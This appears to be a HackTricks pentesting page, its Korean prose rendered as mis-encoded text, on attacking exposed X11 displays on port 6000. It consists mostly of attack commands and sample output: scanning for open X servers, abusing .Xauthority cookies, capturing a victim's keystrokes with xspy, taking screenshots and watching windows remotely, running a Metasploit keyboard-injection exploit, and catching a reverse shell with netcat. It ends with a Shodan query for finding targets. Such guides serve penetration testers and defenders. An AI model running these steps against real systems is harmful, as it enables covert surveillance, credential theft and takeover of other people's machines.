6000 - Pentesting X11

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

๊ธฐ๋ณธ ์ •๋ณด

X Window System (X)๋Š” UNIX ๊ธฐ๋ฐ˜ ์šด์˜ ์ฒด์ œ์—์„œ ๋„๋ฆฌ ์‚ฌ์šฉ๋˜๋Š” ๋‹ค๋ชฉ์  ์œˆ๋„์šฐ ์‹œ์Šคํ…œ์ž…๋‹ˆ๋‹ค. ์ด๋Š” ๊ฐœ๋ณ„ ํ”„๋กœ๊ทธ๋žจ์ด ์‚ฌ์šฉ์ž ์ธํ„ฐํŽ˜์ด์Šค ๋””์ž์ธ์„ ์ฒ˜๋ฆฌํ•˜๋Š” ๊ทธ๋ž˜ํ”ฝ **์‚ฌ์šฉ์ž ์ธํ„ฐํŽ˜์ด์Šค (GUIs)**๋ฅผ ์ƒ์„ฑํ•˜๊ธฐ ์œ„ํ•œ ํ”„๋ ˆ์ž„์›Œํฌ๋ฅผ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ์œ ์—ฐ์„ฑ์€ X ํ™˜๊ฒฝ ๋‚ด์—์„œ ๋‹ค์–‘ํ•œ ๋งž์ถคํ˜• ๊ฒฝํ—˜์„ ๊ฐ€๋Šฅํ•˜๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค.

๊ธฐ๋ณธ ํฌํŠธ: 6000

PORT       STATE   SERVICE
6000/tcp   open    X11

Enumeration

์ต๋ช… ์—ฐ๊ฒฐ ํ™•์ธ:

nmap -sV --script x11-access -p <PORT> <IP>
msf> use auxiliary/scanner/x11/open_x11

๋กœ์ปฌ ์—ด๊ฑฐ

์‚ฌ์šฉ์ž์˜ ํ™ˆ ํด๋”์— ์žˆ๋Š” ํŒŒ์ผ **.Xauthority**๋Š” X11์˜ ์ธ์ฆ์— ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค. ์—ฌ๊ธฐ์—์„œ:

$ xxd ~/.Xauthority
00000000: 0100 0006 6d61 6e65 7063 0001 3000 124d  ............0..M
00000010: 4954 2d4d 4147 4943 2d43 4f4f 4b49 452d  IT-MAGIC-COOKIE-
00000020: 3100 108f 52b9 7ea8 f041 c49b 85d8 8f58  1...R.~..A.....X
00000030: 041d ef                                  ...

MIT-magic-cookie-1: 128๋น„ํŠธ ํ‚ค(โ€œ์ฟ ํ‚คโ€)๋ฅผ ์ƒ์„ฑํ•˜๊ณ  ์ด๋ฅผ ~/.Xauthority(๋˜๋Š” XAUTHORITY envvar๊ฐ€ ๊ฐ€๋ฆฌํ‚ค๋Š” ์œ„์น˜)์— ์ €์žฅํ•ฉ๋‹ˆ๋‹ค. ํด๋ผ์ด์–ธํŠธ๋Š” ์ด๋ฅผ ์„œ๋ฒ„์— ํ‰๋ฌธ์œผ๋กœ ์ „์†กํ•ฉ๋‹ˆ๋‹ค! ์„œ๋ฒ„๋Š” ์ด โ€œ์ฟ ํ‚คโ€์˜ ๋ณต์‚ฌ๋ณธ์ด ์žˆ๋Š”์ง€ ํ™•์ธํ•˜๊ณ , ์žˆ๋‹ค๋ฉด ์—ฐ๊ฒฐ์ด ํ—ˆ์šฉ๋ฉ๋‹ˆ๋‹ค. ํ‚ค๋Š” DMX์— ์˜ํ•ด ์ƒ์„ฑ๋ฉ๋‹ˆ๋‹ค.

Warning

์ฟ ํ‚ค๋ฅผ ์‚ฌ์šฉํ•˜๊ธฐ ์œ„ํ•ด env var๋ฅผ ์„ค์ •ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค: export XAUTHORITY=/path/to/.Xauthority

๋กœ์ปฌ ์—ด๊ฑฐ ์„ธ์…˜

$ w
23:50:48 up 1 day, 10:32,  1 user,  load average: 0.29, 6.48, 7.12
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
user     tty7     :0               13Oct23 76days 13:37   2.20s xfce4-session

์˜ˆ์ œ์—์„œ localhost:0์€ xfce4-session์„ ์‹คํ–‰ํ•˜๊ณ  ์žˆ์—ˆ์Šต๋‹ˆ๋‹ค.

์—ฐ๊ฒฐ ํ™•์ธ

xdpyinfo -display <ip>:<display>
xwininfo -root -tree -display <IP>:<display> #Ex: xwininfo -root -tree -display 10.5.5.12:0

ํ‚ค๋กœ๊น…

xspy ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ํ‚ค๋ณด๋“œ ์ž…๋ ฅ์„ ์Šค๋‹ˆํ•‘ํ•ฉ๋‹ˆ๋‹ค.

์ƒ˜ํ”Œ ์ถœ๋ ฅ:

xspy 10.9.xx.xx

opened 10.9.xx.xx:0 for snoopng
swaBackSpaceCaps_Lock josephtTabcBackSpaceShift_L workShift_L 2123
qsaminusKP_Down KP_Begin KP_Down KP_Left KP_Insert TabRightLeftRightDeletebTabDownnTabKP_End KP_Right KP_Up KP_Down KP_Up KP_Up TabmtminusdBackSpacewinTab

์Šคํฌ๋ฆฐ์ƒท ์บก์ฒ˜

xwd -root -screen -silent -display <TargetIP:0> > screenshot.xwd
convert screenshot.xwd screenshot.png

์›๊ฒฉ ๋ฐ์Šคํฌํ†ฑ ๋ณด๊ธฐ

Way from: https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref

./xrdp.py <IP:0>

๋จผ์ € xwininfo๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์ฐฝ์˜ ID๋ฅผ ์ฐพ์•„์•ผ ํ•ฉ๋‹ˆ๋‹ค.

xwininfo -root -display 10.9.xx.xx:0

xwininfo: Window id: 0x45 (the root window) (has no name)

Absolute upper-left X:  0
Absolute upper-left Y:  0
Relative upper-left X:  0
Relative upper-left Y:  0
Width: 1024
Height: 768
Depth: 16
Visual: 0x21
Visual Class: TrueColor
Border width: 0
Class: InputOutput
Colormap: 0x20 (installed)
Bit Gravity State: ForgetGravity
Window Gravity State: NorthWestGravity
Backing Store State: NotUseful
Save Under State: no
Map State: IsViewable
Override Redirect State: no
Corners:  +0+0  -0+0  -0-0  +0-0
-geometry 1024x768+0+0

XWatchwin

์‹ค์‹œ๊ฐ„ ๋ณด๊ธฐ๋ฅผ ์œ„ํ•ด ์šฐ๋ฆฌ๋Š” ์‚ฌ์šฉํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

./xwatchwin [-v] [-u UpdateTime] DisplayName { -w windowID | WindowName } -w window Id is the one found on xwininfo
./xwatchwin 10.9.xx.xx:0 -w 0x45

์…ธ ์–ป๊ธฐ

msf> use exploit/unix/x11/x11_keyboard_exec

๋ฆฌ๋ฒ„์Šค ์…ธ: Xrdp๋Š” ๋˜ํ•œ Netcat์„ ํ†ตํ•ด ๋ฆฌ๋ฒ„์Šค ์…ธ์„ ๊ฐ€์ ธ์˜ฌ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋‹ค์Œ ๋ช…๋ น์–ด๋ฅผ ์ž…๋ ฅํ•˜์„ธ์š”:

./xrdp.py \<IP:0> โ€“no-disp

์ธํ„ฐํŽ˜์ด์Šค์—์„œ R-shell ์˜ต์…˜์„ ๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๊ทธ๋Ÿฐ ๋‹ค์Œ, ๋กœ์ปฌ ์‹œ์Šคํ…œ์—์„œ ํฌํŠธ 5555์—์„œ Netcat ๋ฆฌ์Šค๋„ˆ๋ฅผ ์‹œ์ž‘ํ•ฉ๋‹ˆ๋‹ค.

nc -lvp 5555

๊ทธ๋Ÿฐ ๋‹ค์Œ R-Shell ์˜ต์…˜์— IP ์ฃผ์†Œ์™€ ํฌํŠธ๋ฅผ ์ž…๋ ฅํ•˜๊ณ  R-shell์„ ํด๋ฆญํ•˜์—ฌ ์…ธ์„ ์–ป์Šต๋‹ˆ๋‹ค.

References

Shodan

  • port:6000 x11

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ